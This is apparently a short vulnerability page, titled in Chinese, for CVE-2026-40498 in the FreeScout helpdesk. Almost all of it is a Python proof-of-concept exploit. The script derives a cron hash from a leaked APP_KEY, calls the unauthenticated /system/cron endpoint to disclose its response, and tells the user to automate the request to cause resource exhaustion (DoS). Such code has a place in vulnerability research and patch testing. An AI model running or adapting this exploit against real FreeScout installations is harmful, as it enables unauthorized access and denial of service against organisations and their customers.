CVE-2026-40498 FreeScout未认证访问与DoS漏洞

import requests import hashlib def generate_cron_hash(app_key): # Generate the hash based on the disclosed logic: md5(APP_KEY . 'web_cron_hash') return hashlib.md5((app_key + 'web_cron_hash').encode()).hexdigest() def exploit(target_url, app_key): cron_hash = generate_cron_hash(app_key) # The vulnerable endpoint structure full_url = f"{target_url}/system/cron?hash={cron_hash}" try: print(f"[+] Sending request to: {full_url}") response = requests.get(full_url, timeout=10) if response.status_code == 200: print("[+] Successfully accessed the diagnostic endpoint.") print("[+] Response content:") print(response.text[:200]) # Print partial response to confirm info disclosure print("[+] You can now automate this to cause Resource Exhaustion (DoS).") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": # Example usage # Replace with actual target and extracted/leaked APP_KEY TARGET = "http://example-freescout.com" # In a real scenario, the attacker obtains the APP_KEY from logs or previous leaks LEAKED_APP_KEY = "base64:randomleakedkeystring==" exploit(TARGET, LEAKED_APP_KEY)